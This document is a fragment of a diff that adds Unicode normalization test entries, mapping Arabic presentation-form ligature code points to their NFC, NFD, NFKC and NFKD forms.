+{ source: [0xFC9E], NFC: [0xFC9E], NFD: [0xFC9E], NFKC: [0x0628, 0x062E], NFKD: [0x0628, 0x062E] },
+{ source: [0xFC9F], NFC: [0xFC9F], NFD: [0xFC9F], NFKC: [0x0628, 0x0645], NFKD: [0x0628, 0x0645] },
+{ source: [0xFCA0], NFC: [0xFCA0], NFD: [0xFCA0], NFKC: [0x0628, 0x0647], NFKD: [0x0628, 0x0647] },
+{ source: [0xFCA1], NFC: [0xFCA1], NFD: [0xFCA1], NFKC: [0x062A, 0x062C], NFKD: [0x062A, 0x062C] },
+{ source: [0xFCA2], NFC: [0xFCA2], NFD: [0xFCA2], NFKC: [0x062A, 0x062D], NFKD: [0x062A, 0x062D] },
+{ source: [0xFCA3], NFC: [0xFCA3], NFD: [0xFCA3], NFKC: [0x062A, 0x062E], NFKD: [0x062A, 0x062E] },
+{ source: [0xFCA4], NFC: [0xFCA4], NFD: [0xFCA4], NFKC: [0x062A, 0x0645], NFKD: [0x062A, 0x0645] },
+{ source: [0xFCA5], NFC: [0xFCA5], NFD: [0xFCA5], NFKC: [0x062A, 0x0647], NFKD: [0x062A, 0x0647] },
+{ source: [0xFCA6], NFC: [0xFCA6], NFD: [0xFCA6], NFKC: [0x062B, 0x0645], NFKD: [0x062B, 0x0645] },
+{ source: [0xFCA7], NFC: [0xFCA7], NFD: [0xFCA7], NFKC: [0x062C, 0x062D], NFKD: [0x062C, 0x062D] },
+{ source: [0xFCA8], NFC: [0xFCA8], NFD: [0xFCA8], NFKC: [0x062C, 0x0645], NFKD: [0x062C, 0x0645] },
+{ source: [0xFCA9], NFC: [0xFCA9], NFD: [0xFCA9], NFKC: [0x062D, 0x062C], NFKD: [0x062D, 0x062C] },
+{ source: [0xFCAA], NFC: [0xFCAA], NFD: [0xFCAA], NFKC: [0x062D, 0x0645], NFKD: [0x062D, 0x0645] },
+{ source: [0xFCAB], NFC: [0xFCAB], NFD: [0xFCAB], NFKC: [0x062E, 0x062C], NFKD: [0x062E, 0x062C] },
+{ source: [0xFCAC], NFC: [0xFCAC], NFD: [0xFCAC], NFKC: [0x062E, 0x0645], NFKD: [0x062E, 0x0645] },
+{ source: [0xFCAD], NFC: [0xFCAD], NFD: [0xFCAD], NFKC: [0x0633, 0x062C], NFKD: [0x0633, 0x062C] },
+{ source: [0xFCAE], NFC: [0xFCAE], NFD: [0xFCAE], NFKC: [0x0633, 0x062D], NFKD: [0x0633, 0x062D] },
+{ source: [0xFCAF], NFC: [0xFCAF], NFD: [0xFCAF], NFKC: [0x0633, 0x062E], NFKD: [0x0633, 0x062E] },
+{ source: [0xFCB0], NFC: [0xFCB0], NFD: [0xFCB0], NFKC: [0x0633, 0x0645], NFKD: [0x0633, 0x0645] },
+{ source: [0xFCB1], NFC: [0xFCB1], NFD: [0xFCB1], NFKC: [0x0635, 0x062D], NFKD: [0x0635, 0x062D] },
+{ source: [0xFCB2], NFC: [0xFCB2], NFD: [0xFCB2], NFKC: [0x0635, 0x062E], NFKD: [0x0635, 0x062E] },
+{ source: [0xFCB3], NFC: [0xFCB3], NFD: [0xFCB3], NFKC: [0x0635, 0x0645], NFKD: [0x0635, 0x0645] },
+{ source: [0xFCB4], NFC: [0xFCB4], NFD: [0xFCB4], NFKC: [0x0636, 0x062C], NFKD: [0x0636, 0x062C] },
+{ source: [0xFCB5], NFC: [0xFCB5], NFD: [0xFCB5], NFKC: [0x0636, 0x062D], NFKD: [0x0636, 0x062D] },
+{ source: [0xFCB6], NFC: [0xFCB6], NFD: [0xFCB6], NFKC: [0x0636, 0x062E], NFKD: [0x0636, 0x062E] },
+{ source: [0xFCB7], NFC: [0xFCB7], NFD: [0xFCB7], NFKC: [0x0636, 0x0645], NFKD: [0x0636, 0x0645] },
+{ source: [0xFCB8], NFC: [0xFCB8], NFD: [0xFCB8], NFKC: [0x0637, 0x062D], NFKD: [0x0637, 0x062D] },
+{ source: [0xFCB9], NFC: [0xFCB9], NFD: [0xFCB9], NFKC: [0x0638, 0x0645], NFKD: [0x0638, 0x0645] },
+{ source: [0xFCBA], NFC: [0xFCBA], NFD: [0xFCBA], NFKC: [0x0639, 0x062C], NFKD: [0x0639, 0x062C] },
+{ source: [0xFCBB], NFC: [0xFCBB], NFD: [0xFCBB], NFKC: [0x0639, 0x0645], NFKD: [0x0639, 0x0645] },
+{ source: [0xFCBC], NFC: [0xFCBC], NFD: [0xFCBC], NFKC: [0x063A, 0x062C], NFKD: [0x063A, 0x062C] },
+{ source: [0xFCBD], NFC: [0xFCBD], NFD: [0xFCBD], NFKC: [0x063A, 0x0645], NFKD: [0x063A, 0x0645] },
+{ source: [0xFCBE], NFC: [0xFCBE], NFD: [0xFCBE], NFKC: [0x0641, 0x062C], NFKD: [0x0641, 0x062C] },
+{ source: [0xFCBF], NFC: [0xFCBF], NFD: [0xFCBF], NFKC: [0x0641, 0x062D], NFKD: [0x0641, 0x062D] },
+{ source: [0xFCC0], NFC: [0xFCC0], NFD: [0xFCC0], NFKC: [0x0641, 0x062E], NFKD: [0x0641, 0x062E] },
+{ source: [0xFCC1], NFC: [0xFCC1], NFD: [0xFCC1], NFKC: [0x0641, 0x0645], NFKD: [0x0641, 0x0645] },
+{ source: [0xFCC2], NFC: [0xFCC2], NFD: [0xFCC2], NFKC: [0x0642, 0x062D], NFKD: [0x0642, 0x062D] },
+{ source: [0xFCC3], NFC: [0xFCC3], NFD: [0xFCC3], NFKC: [0x0642, 0x0645], NFKD: [0x0642, 0x0645] },
+{ source: [0xFCC4], NFC: [0xFCC4], NFD: [0xFCC4], NFKC: [0x0643, 0x062C], NFKD: [0x0643, 0x062C] },
+{ source: [0xFCC5], NFC: [0xFCC5], NFD: [0xFCC5], NFKC: [0x0643, 0x062D], NFKD: [0x0643, 0x062D] },
+{ source: [0xFCC6], NFC: [0xFCC6], NFD: [0xFCC6], NFKC: [0x0643, 0x062E], NFKD: [0x0643, 0x062E] },
+{ source: [0xFCC7], NFC: [0xFCC7], NFD: [0xFCC7], NFKC: [0x0643, 0x0644], NFKD: [0x0643, 0x0644] },
+{ source: [0xFCC8], NFC: [0xFCC8], NFD: [0xFCC8], NFKC: [0x0643, 0x0645], NFKD: [0x0643, 0x0645] },
+{ source: [0xFCC9], NFC: [0xFCC9], NFD: [0xFCC9], NFKC: [0x0644, 0x062C], NFKD: [0x0644, 0x062C] },
+{ source: [0xFCCA], NFC: [0xFCCA], NFD: [0xFCCA], NFKC: [0x0644, 0x062D], NFKD: [0x0644, 0x062D] },
+{ source: [0xFCCB], NFC: [0xFCCB], NFD: [0xFCCB], NFKC: [0x0644, 0x062E], NFKD: [0x0644, 0x062E] },
+{ source: [0xFCCC], NFC: [0xFCCC], NFD: [0xFCCC], NFKC: [0x0644, 0x0645], NFKD: [0x0644, 0x0645] },
+{ source: [0xFCCD], NFC: [0xFCCD], NFD: [0xFCCD], NFKC: [0x0644, 0x0647], NFKD: [0x0644, 0x0647] },
+{ source: [0xFCCE], NFC: [0xFCCE], NFD: [0xFCCE], NFKC: [0x0645, 0x062C], NFKD: [0x0645, 0x062C] },
+{ source: [0xFCCF], NFC: [0xFCCF], NFD: [0xFCCF], NFKC: [0x0645, 0x062D], NFKD: [0x0645, 0x062D] },
+{ source: [0xFCD0], NFC: [0xFCD0], NFD: [0xFCD0], NFKC: [0x0645, 0x062E], NFKD: [0x0645, 0x062E] },
+{ source: [0xFCD1], NFC: [0xFCD1], NFD: [0xFCD1], NFKC: [0x0645, 0x0645], NFKD: [0x0645, 0x0645] },
+{ source: [0xFCD2], NFC: [0xFCD2], NFD: [0xFCD2], NFKC: [0x0646, 0x062C], NFKD: [0x0646, 0x062C] },
+{ source: [0xFCD3], NFC: [0xFCD3], NFD: [0xFCD3], NFKC: [0x0646, 0x062D], NFKD: [0x0646, 0x062D] },
+{ source: [0xFCD4], NFC: [0xFCD4], NFD: [0xFCD4], NFKC: [0x0646, 0x062E], NFKD: [0x0646, 0x062E] },
+{ source: [0xFCD5], NFC: [0xFCD5], NFD: [0xFCD5], NFKC: [0x0646, 0x0645], NFKD: [0x0646, 0x0645] },
+{ source: [0xFCD6], NFC: [0xFCD6], NFD: [0xFCD6], NFKC: [0x0646, 0x0647], NFKD: [0x0646, 0x0647] },
+{ source: [0xFCD7], NFC: [0xFCD7], NFD: [0xFCD7], NFKC: [0x0647, 0x062C], NFKD: [0x0647, 0x062C] },
+{ source: [0xFCD8], NFC: [0xFCD8], NFD: [0xFCD8], NFKC: [0x0647, 0x0645], NFKD: [0x0647, 0x0645] },
+{ source: [0xFCD9], NFC: [0xFCD9], NFD: [0xFCD9], NFKC: [0x0647, 0x0670], NFKD: [0x0647, 0x0670] },
+{ source: [0xFCDA], NFC: [0xFCDA], NFD: [0xFCDA], NFKC: [0x064A, 0x062C], NFKD: [0x064A, 0x062C] },
+{ source: [0xFCDB], NFC: [0xFCDB], NFD: [0xFCDB], NFKC: [0x064A, 0x062D], NFKD: [0x064A, 0x062D] },
+{ source: [0xFCDC], NFC: [0xFCDC], NFD: [0xFCDC], NFKC: [0x064A, 0x062E], NFKD: [0x064A, 0x062E] },
+{ source: [0xFCDD], NFC: [0xFCDD], NFD: [0xFCDD], NFKC: [0x064A, 0x0645], NFKD: [0x064A, 0x0645] },
+{ source: [0xFCDE], NFC: [0xFCDE], NFD: [0xFCDE], NFKC: [0x064A, 0x0647], NFKD: [0x064A, 0x0647] },
+{ source: [0xFCDF], NFC: [0xFCDF], NFD: [0xFCDF], NFKC: [0x0626, 0x0645], NFKD: [0x064A, 0x0654, 0x0645] },
+{ source: [0xFCE0], NFC: [0xFCE0], NFD: [0xFCE0], NFKC: [0x0626, 0x0647], NFKD: [0x064A, 0x0654, 0x0647] },
+{ source: [0xFCE1], NFC: [0xFCE1], NFD: [0xFCE1], NFKC: [0x0628, 0x0645], NFKD: [0x0628, 0x0645] },
+{ source: [0xFCE2], NFC: [0xFCE2], NFD: [0xFCE2], NFKC: [0x0628, 0x0647], NFKD: [0x0628, 0x0647] },
+{ source: [0xFCE3], NFC: [0xFCE3], NFD: [0xFCE3], NFKC: [0x062A, 0x0645], NFKD: [0x062A, 0x0645] },
+{ source: [0xFCE4], NFC: [0xFCE4], NFD: [0xFCE4], NFKC: [0x062A, 0x0647], NFKD: [0x062A, 0x0647] },
+{ source: [0xFCE5], NFC: [0xFCE5], NFD: [0xFCE5], NFKC: [0x062B, 0x0645], NFKD: [0x062B, 0x0645] },
+{ source: [0xFCE6], NFC: [0xFCE6], NFD: [0xFCE6], NFKC: [0x062B, 0x0647], NFKD: [0x062B, 0x0647] },
+{ source: [0xFCE7], NFC: [0xFCE7], NFD: [0xFCE7], NFKC: [0x0633, 0x0645], NFKD: [0x0633, 0x0645] },
+{ source: [0xFCE8], NFC: [0xFCE8], NFD: [0xFCE8], NFKC: [0x0633, 0x0647], NFKD: [0x0633, 0x0647] },
+{ source: [0xFCE9], NFC: [0xFCE9], NFD: [0xFCE9], NFKC: [0x0634, 0x0645], NFKD: [0x0634, 0x0645] },
+{ source: [0xFCEA], NFC: [0xFCEA], NFD: [0xFCEA], NFKC: [0x0634, 0x0647], NFKD: [0x0634, 0x0647] },
+{ source: [0xFCEB], NFC: [0xFCEB], NFD: [0xFCEB], NFKC: [0x0643, 0x0644], NFKD: [0x0643, 0x0644] },
+{ source: [0xFCEC], NFC: [0xFCEC], NFD: [0xFCEC], NFKC: [0x0643, 0x0645], NFKD: [0x0643, 0x0645] },
+{ source: [0xFCED], NFC: [0xFCED], NFD: [0xFCED], NFKC: [0x0644, 0x0645], NFKD: [0x0644, 0x0645] },
+{ source: [0xFCEE], NFC: [0xFCEE], NFD: [0xFCEE], NFKC: [0x0646, 0x0645], NFKD: [0x0646, 0x0645] },
+{ source: [0xFCEF], NFC: [0xFCEF], NFD: [0xFCEF], NFKC: [0x0646, 0x0647], NFKD: [0x0646, 0x0647] },
+{ source: [0xFCF0], NFC: [0xFCF0], NFD: [0xFCF0], NFKC: [0x064A, 0x0645], NFKD: [0x064A, 0x0645] },
+{ source: [0xFCF1], NFC: [0xFCF1], NFD: [0xFCF1], NFKC: [0x064A, 0x0647], NFKD: [0x064A, 0x0647] },
+{ source: [0xFCF2], NFC: [0xFCF2], NFD: [0xFCF2], NFKC: [0x0640, 0x064E, 0x0651], NFKD: [0x0640, 0x064E, 0x0651] },
+{ source: [0xFCF3], NFC: [0xFCF3], NFD: [0xFCF3], NFKC: [0x0640, 0x064F, 0x0651], NFKD: [0x0640, 0x064F, 0x0651] },
+{ source: [0xFCF4], NFC: [0xFCF4], NFD: [0xFCF4], NFKC: [0x0640, 0x0650, 0x0651], NFKD: [0x0640, 0x0650, 0x0651] },
+{ source: [0xFCF5], NFC: [0xFCF5], NFD: [0xFCF5], NFKC: [0x0637, 0x0649], NFKD: [0x0637, 0x0649] },
+{ source: [0xFCF6], NFC: [0xFCF6], NFD: [0xFCF6], NFKC: [0x0637, 0x064A], NFKD: [0x0637, 0x064A] },
+{ source: [0xFCF7], NFC: [0xFCF7], NFD: [0xFCF7], NFKC: [0x0639, 0x0649], NFKD: [0x0639, 0x0649] },
+{ source: [0xFCF8], NFC: [0xFCF8], NFD: [0xFCF8], NFKC: [0x0639, 0x064A], NFKD: [0x0639, 0x064A] },
+{ source: [0xFCF9], NFC: [0xFCF9], NFD: [0xFCF9], NFKC: [0x063A, 0x0649], NFKD: [0x063A, 0x0649] },
+{ source: [0xFCFA], NFC: [0xFCFA], NFD: [0xFCFA], NFKC: [0x063A, 0x064A], NFKD: [0x063A, 0x064A] },
+{ source: [0xFCFB], NFC: [0xFCFB], NFD: [0xFCFB], NFKC: [0x0633, 0x0649], NFKD: [0x0633, 0x0649] },
+{ source: [0xFCFC], NFC: [0xFCFC], NFD: [0xFCFC], NFKC: [0x0633, 0x064A], NFKD: [0x0633, 0x064A] },
+{ source: [0xFCFD], NFC: [0xFCFD], NFD: [0xFCFD], NFKC: [0x0634, 0x0649], NFKD: [0x0634, 0x0649] },
+{ source: [0xFCFE], NFC: [0xFCFE], NFD: [0xFCFE], NFKC: [0x0634, 0x064A], NFKD: [0x0634, 0x064A] },
+{ source: [0xFCFF], NFC: [0xFCFF], NFD: [0xFCFF], NFKC: [0x062D, 0x0649], NFKD: [0x062D, 0x0649] },
+{ source: [0xFD00], NFC: [0xFD00], NFD: [0xFD00], NFKC: [0x062D, 0x064A], NFKD: [0x062D, 0x064A] },
+{ source: [0xFD01], NFC: [0xFD01], NFD: [0xFD01], NFKC: [0x062C, 0x0649], NFKD: [0x062C, 0x0649] },
+{ source: [0xFD02], NFC: [0xFD02], NFD: [0xFD02], NFKC: [0x062C, 0x064A], NFKD: [0x062C, 0x064A] },
+{ source: [0xFD03], NFC: [0xFD03], NFD: [0xFD03], NFKC: [0x062E, 0x0649], NFKD: [0x062E, 0x0649] },
+{ source: [0xFD04], NFC: [0xFD04], NFD: [0xFD04], NFKC: [0x062E, 0x064A], NFKD: [0x062E, 0x064A] },
+{ source: [0xFD05], NFC: [0xFD05], NFD: [0xFD05], NFKC: [0x0635, 0x0649], NFKD: [0x0635, 0x0649] },
+{ source: [0xFD06], NFC: [0xFD06], NFD: [0xFD06], NFKC: [0x0635, 0x064A], NFKD: [0x0635, 0x064A] },
+{ source: [0xFD07], NFC: [0xFD07], NFD: [0xFD07], NFKC: [0x0636, 0x0649], NFKD: [0x0636, 0x0649] },
+{ source: [0xFD08], NFC: [0xFD08], NFD: [0xFD08], NFKC: [0x0636, 0x064A], NFKD: [0x0636, 0x064A] },
+{ source: [0xFD09], NFC: [0xFD09], NFD: [0xFD09], NFKC: [0x0634, 0x062C], NFKD: [0x0634, 0x062C] },
+{ source: [0xFD0A], NFC: [0xFD0A], NFD: [0xFD0A], NFKC: [0x0634, 0x062D], NFKD: [0x0634, 0x062D] },
+{ source: [0xFD0B], NFC: [0xFD0B], NFD: [0xFD0B], NFKC: [0x0634, 0x062E], NFKD: [0x0634, 0x062E] },
+{ source: [0xFD0C], NFC: [0xFD0C], NFD: [0xFD0C], NFKC: [0x0634, 0x0645], NFKD: [0x0634, 0x0645] },
+{ source: [0xFD0D], NFC: [0xFD0D], NFD: [0xFD0D], NFKC: [0x0634, 0x0631], NFKD: [0x0634, 0x0631] },
+{ source: [0xFD0E], NFC: [0xFD0E], NFD: [0xFD0E], NFKC: [0x0633, 0x0631], NFKD: [0x0633, 0x0631] },
+{ source: [0xFD0F], NFC: [0xFD0F], NFD: [0xFD0F], NFKC: [0x0635, 0x0631], NFKD: [0x0635, 0x0631] },
+{ source: [0xFD10], NFC: [0xFD10], NFD: [0xFD10], NFKC: [0x0636, 0x0631], NFKD: [0x0636, 0x0631] },
+{ source: [0xFD11], NFC: [0xFD11], NFD: [0xFD11], NFKC: [0x0637, 0x0649], NFKD: [0x0637, 0x0649] },
+{ source: [0xFD12], NFC: [0xFD12], NFD: [0xFD12], NFKC: [0x0637, 0x064A], NFKD: [0x0637, 0x064A] },
+{ source: [0xFD13], NFC: [0xFD13], NFD: [0xFD13], NFKC: [0x0639, 0x0649], NFKD: [0x0639, 0x0649] },
+{ source: [0xFD14], NFC: [0xFD14], NFD: [0xFD14], NFKC: [0x0639, 0x064A], NFKD: [0x0639, 0x064A] },
+{ source: [0xFD15], NFC: [0xFD15], NFD: [0xFD15], NFKC: [0x063A, 0x0649], NFKD: [0x063A, 0x0649] },
+{ source: [0xFD16], NFC: [0xFD16], NFD: [0xFD16], NFKC: [0x063A, 0x064A], NFKD: [0x063A, 0x064A] },
+{ source: [0xFD17], NFC: [0xFD17], NFD: [0xFD17], NFKC: [0x0633, 0x0649], NFKD: [0x0633, 0x0649] },
+{ source: [0xFD18], NFC: [0xFD18], NFD: [0xFD18], NFKC: [0x0633, 0x064A], NFKD: [0x0633, 0x064A] },
+{ source: [0xFD19], NFC: [0xFD19], NFD: [0xFD19], NFKC: [0x0634, 0x0649], NFKD: [0x0634, 0x0649] },
+{ source: [0xFD1A], NFC: [0xFD1A], NFD: [0xFD1A], NFKC: [0x0634, 0x064A], NFKD: [0x0634, 0x064A] },
+{ source: [0xFD1B], NFC: [0xFD1B], NFD: [0xFD1B], NFKC: [0x062D, 0x0649], NFKD: [0x062D, 0x0649] },
+{ source: [0xFD1C], NFC: [0xFD1C], NFD: [0xFD1C], NFKC: [0x062D, 0x064A], NFKD: [0x062D, 0x064A] },
+{ source: [0xFD1D], NFC: [0xFD1D], NFD: [0xFD1D], NFKC: [0x062C, 0x0649], NFKD: [0x062C, 0x0649] },
+{ source: [0xFD1E], NFC: [0xFD1E], NFD: [0xFD1E], NFKC: [0x062C, 0x064A], NFKD: [0x062C, 0x064A] },
+{ source: [0xFD1F], NFC: [0xFD1F], NFD: [0xFD1F], NFKC: [0x062E, 0x0649], NFKD: [0x062E, 0x0649] },
+{ source: [0xFD20], NFC: [0xFD20], NFD: [0xFD20], NFKC: [0x062E, 0x064A], NFKD: [0x062E, 0x064A] },
+{ source: [0xFD21], NFC: [0xFD21], NFD: [0xFD21], NFKC: [0x0635, 0x0649], NFKD: [0x0635, 0x0649] },
+{ source: [0xFD22], NFC: [0xFD22], NFD: [0xFD22], NFKC: [0x0635, 0x064A], NFKD: [0x0635, 0x064A] },
+{ source: [0xFD23], NFC: [0xFD23], NFD: [0xFD23], NFKC: [0x0636, 0x0649], NFKD: [0x0636, 0x0649] },
+{ source: [0xFD24], NFC: [0xFD24], NFD: [0xFD24], NFKC: [0x0636, 0x064A], NFKD: [0x0636, 0x064A] },
+{ source: [0xFD25], NFC: [0xFD25], NFD: [0xFD25], NFKC: [0x0634, 0x062C], NFKD: [0x0634, 0x062C] },
+{ source: [0xFD26], NFC: [0xFD26], NFD: [0xFD26], NFKC: [0x0634, 0x062D], NFKD: [0x0634, 0x062D] },
+{ source: [0xFD27], NFC: [0xFD27], NFD: [0xFD27], NFKC: [0x0634, 0x062E], NFKD: [0x0634, 0x062E] },
+{ source: [0xFD28], NFC: [0xFD28], NFD: [0xFD28], NFKC: [0x0634, 0x0645], NFKD: [0x0634, 0x0645] },
+{ source: [0xFD29], NFC: [0xFD29], NFD: [0xFD29], NFKC: [0x0634, 0x0631], NFKD: [0x0634, 0x0631] },
+{ source: [0xFD2A], NFC: [0xFD2A], NFD: [0xFD2A], NFKC: [0x0633, 0x0631], NFKD: [0x0633, 0x0631] },
+{ source: [0xFD2B], NFC: [0xFD2B], NFD: [0xFD2B], NFKC: [0x0635, 0x0631], NFKD: [0x0635, 0x0631] },
+{ source: [0xFD2C], NFC: [0xFD2C], NFD: [0xFD2C], NFKC: [0x0636, 0x0631], NFKD: [0x0636, 0x0631] },
+{ source: [0xFD2D], NFC: [0xFD2D], NFD: [0xFD2D], NFKC: [0x0634, 0x062C], NFKD: [0x0634, 0x062C] },
+{ source: [0xFD2E], NFC: [0xFD2E], NFD: [0xFD2E], NFKC: [0x0634, 0x062D], NFKD: [0x0634, 0x062D] },
+{ source: [0xFD2F], NFC: [0xFD2F], NFD: [0xFD2F], NFKC: [0x0634, 0x062E], NFKD: [0x0634, 0x062E] },
+{ source: [0xFD30], NFC: [0xFD30], NFD: [0xFD30], NFKC: [0x0634, 0x0645], NFKD: [0x0634, 0x0645] },
+{ source: [0xFD31], NFC: [0xFD31], NFD: [0xFD31], NFKC: [0x0633, 0x0647], NFKD: [0x0633, 0x0647] },
+{ source: [0xFD32], NFC: [0xFD32], NFD: [0xFD32], NFKC: [0x0634, 0x0647], NFKD: [0x0634, 0x0647] },
+{ source: [0xFD33], NFC: [0xFD33], NFD: [0xFD33], NFKC: [0x0637, 0x0645], NFKD: [0x0637, 0x0645] },
+{ source: [0xFD34], NFC: [0xFD34], NFD: [0xFD34], NFKC: [0x0633, 0x062C], NFKD: [0x0633, 0x062C] },
+{ source: [0xFD35], NFC: [0xFD35], NFD: [0xFD35], NFKC: [0x0633, 0x062D], NFKD: [0x0633, 0x062D] },
+{ source: [0xFD36], NFC: [0xFD36], NFD: [0xFD36], NFKC: [0x0633, 0x062E], NFKD: [0x0633, 0x062E] },
+{ source: [0xFD37], NFC: [0xFD37], NFD: [0xFD37], NFKC: [0x0634, 0x062C], NFKD: [0x0634, 0x062C] },
+{ source: [0xFD38], NFC: [0xFD38], NFD: [0xFD38], NFKC: [0x0634, 0x062D], NFKD: [0x0634, 0x062D] },
+{ source: [0xFD39], NFC: [0xFD39], NFD: [0xFD39], NFKC: [0x0634, 0x062E], NFKD: [0x0634, 0x062E] },
+{ source: [0xFD3A], NFC: [0xFD3A], NFD: [0xFD3A], NFKC: [0x0637, 0x0645], NFKD: [0x0637, 0x0645] },
+{ source: [0xFD3B], NFC: [0xFD3B], NFD: [0xFD3B], NFKC: [0x0638, 0x0645], NFKD: [0x0638, 0x0645] },
+{ source: [0xFD3C], NFC: [0xFD3C], NFD: [0xFD3C], NFKC: [0x0627, 0x064B], NFKD: [0x0627, 0x064B] },
+{ source: [0xFD3D], NFC: [0xFD3D], NFD: [0xFD3D], NFKC: [0x0627, 0x064B], NFKD: [0x0627, 0x064B] },
+{ source: [0xFD50], NFC: [0xFD50], NFD: [0xFD50], NFKC: [0x062A, 0x062C, 0x0645], NFKD: [0x062A, 0x062C, 0x0645] },
+{ source: [0xFD51], NFC: [0xFD51], NFD: [0xFD51], NFKC: [0x062A, 0x062D, 0x062C], NFKD: [0x062A, 0x062D, 0x062C] },
+{ source: [0xFD52], NFC: [0xFD52], NFD: [0xFD52], NFKC: [0x062A, 0x062D, 0x062C], NFKD: [0x062A, 0x062D, 0x062C] },
+{ source: [0xFD53], NFC: [0xFD53], NFD: [0xFD53], NFKC: [0x062A, 0x062D, 0x0645], NFKD: [0x062A, 0x062D, 0x0645] },
+{ source: [0xFD54], NFC: [0xFD54], NFD: [0xFD54], NFKC: [0x062A, 0x062E, 0x0645], NFKD: [0x062A, 0x062E, 0x0645] },
+{ source: [0xFD55], NFC: [0xFD55], NFD: [0xFD55], NFKC: [0x062A, 0x0645, 0x062C], NFKD: [0x062A, 0x0645, 0x062C] },
+{ source: [0xFD56], NFC: [0xFD56], NFD: [0xFD56], NFKC: [0x062A, 0x0645, 0x062D], NFKD: [0x062A, 0x0645, 0x062D] },
+{ source: [0xFD57], NFC: [0xFD57], NFD: [0xFD57], NFKC: [0x062A, 0x0645, 0x062E], NFKD: [0x062A, 0x0645, 0x062E] },
+{ source: [0xFD58], NFC: [0xFD58], NFD: [0xFD58], NFKC: [0x062C, 0x0645, 0x062D], NFKD: [0x062C, 0x0645, 0x062D] },
+{ source: [0xFD59], NFC: [0xFD59], NFD: [0xFD59], NFKC: [0x062C, 0x0645, 0x062D], NFKD: [0x062C, 0x0645, 0x062D] },
+{ source: [0xFD5A], NFC: [0xFD5A], NFD: [0xFD5A], NFKC: [0x062D, 0x0645, 0x064A], NFKD: [0x062D, 0x0645, 0x064A] },
+{ source: [0xFD5B], NFC: [0xFD5B], NFD: [0xFD5B], NFKC: [0x062D, 0x0645, 0x0649], NFKD: [0x062D, 0x0645, 0x0649] },
+{ source: [0xFD5C], NFC: [0xFD5C], NFD: [0xFD5C], NFKC: [0x0633, 0x062D, 0x062C], NFKD: [0x0633, 0x062D, 0x062C] },
+{ source: [0xFD5D], NFC: [0xFD5D], NFD: [0xFD5D], NFKC: [0x0633, 0x062C, 0x062D], NFKD: [0x0633, 0x062C, 0x062D] },
+{ source: [0xFD5E], NFC: [0xFD5E], NFD: [0xFD5E], NFKC: [0x0633, 0x062C, 0x0649], NFKD: [0x0633, 0x062C, 0x0649] },
+{ source: [0xFD5F], NFC: [0xFD5F], NFD: [0xFD5F], NFKC: [0x0633, 0x0645, 0x062D], NFKD: [0x0633, 0x0645, 0x062D] },
+{ source: [0xFD60], NFC: [0xFD60], NFD: [0xFD60], NFKC: [0x0633, 0x0645, 0x062D], NFKD: [0x0633, 0x0645, 0x062D] },
+{ source: [0xFD61], NFC: [0xFD61], NFD: [0xFD61], NFKC: [0x0633, 0x0645, 0x062C], NFKD: [0x0633, 0x0645, 0x062C] },
+{ source: [0xFD62], NFC: [0xFD62], NFD: [0xFD62], NFKC: [0x0633, 0x0645, 0x0645], NFKD: [0x0633, 0x0645, 0x0645] },
+{ source: [0xFD63], NFC: [0xFD63], NFD: [0xFD63], NFKC: [0x0633, 0x0645, 0x0645], NFKD: [0x0633, 0x0645, 0x0645] },
+{ source: [0xFD64], NFC: [0xFD64], NFD: [0xFD64], NFKC: [0x0635, 0x062D, 0x062D], NFKD: [0x0635, 0x062D, 0x062D] },
+{ source: [0xFD65], NFC: [0xFD65], NFD: [0xFD65], NFKC: [0x0635, 0x062D, 0x062D], NFKD: [0x0635, 0x062D, 0x062D] },
+{ source: [0xFD66], NFC: [0xFD66], NFD: [0xFD66], NFKC: [0x0635, 0x0645, 0x0645], NFKD: [0x0635, 0x0645, 0x0645] },
+{ source: [0xFD67], NFC: [0xFD67], NFD: [0xFD67], NFKC: [0x0634, 0x062D, 0x0645], NFKD: [0x0634, 0x062D, 0x0645] },
+{ source: [0xFD68], NFC: [0xFD68], NFD: [0xFD68], NFKC: [0x0634, 0x062D, 0x0645], NFKD: [0x0634, 0x062D, 0x0645] },
+{ source: [0xFD69], NFC: [0xFD69], NFD: [0xFD69], NFKC: [0x0634, 0x062C, 0x064A], NFKD: [0x0634, 0x062C, 0x064A] },
+{ source: [0xFD6A], NFC: [0xFD6A], NFD: [0xFD6A], NFKC: [0x0634, 0x0645, 0x062E], NFKD: [0x0634, 0x0645, 0x062E] },
+{ source: [0xFD6B], NFC: [0xFD6B], NFD: [0xFD6B], NFKC: [0x0634, 0x0645, 0x062E], NFKD: [0x0634, 0x0645, 0x062E] },
+{ source: [0xFD6C], NFC: [0xFD6C], NFD: [0xFD6C], NFKC: [0x0634, 0x0645, 0x0645], NFKD: [0x0634, 0x0645, 0x0645] },
+{ source: [0xFD6D], NFC: [0xFD6D], NFD: [0xFD6D], NFKC: [0x0634, 0x0645, 0x0645], NFKD: [0x0634, 0x0645, 0x0645] },
+{ source: [0xFD6E], NFC: [0xFD6E], NFD: [0xFD6E], NFKC: [0x0636, 0x062D, 0x0649], NFKD: [0x0636, 0x062D, 0x0649] },
+{ source: [0xFD6F], NFC: [0xFD6F], NFD: [0xFD6F], NFKC: [0x0636, 0x062E, 0x0645], NFKD: [0x0636, 0x062E, 0x0645] },
+{ source: [0xFD70], NFC: [0xFD70], NFD: [0xFD70], NFKC: [0x0636, 0x062E, 0x0645], NFKD: [0x0636, 0x062E, 0x0645] },
+{ source: [0xFD71], NFC: [0xFD71], NFD: [0xFD71], NFKC: [0x0637, 0x0645, 0x062D], NFKD: [0x0637, 0x0645, 0x062D] },
+{ source: [0xFD72], NFC: [0xFD72], NFD: [0xFD72], NFKC: [0x0637, 0x0645, 0x062D], NFKD: [0x0637, 0x0645, 0x062D] },
+{ source: [0xFD73], NFC: [0xFD73], NFD: [0xFD73], NFKC: [0x0637, 0x0645, 0x0645], NFKD: [0x0637, 0x0645, 0x0645] },
+{ source: [0xFD74], NFC: [0xFD74], NFD: [0xFD74], NFKC: [0x0637, 0x0645, 0x064A], NFKD: [0x0637, 0x0645, 0x064A] },
+{ source: [0xFD75], NFC: [0xFD75], NFD: [0xFD75], NFKC: [0x0639, 0x062C, 0x0645], NFKD: [0x0639, 0x062C, 0x0645] },
+{ source: [0xFD76], NFC: [0xFD76], NFD: [0xFD76], NFKC: [0x0639, 0x0645, 0x0645], NFKD: [0x0639, 0x0645, 0x0645] },
+{ source: [0xFD77], NFC: [0xFD77], NFD: [0xFD77], NFKC: [0x0639, 0x0645, 0x0645], NFKD: [0x0639, 0x0645, 0x0645] },
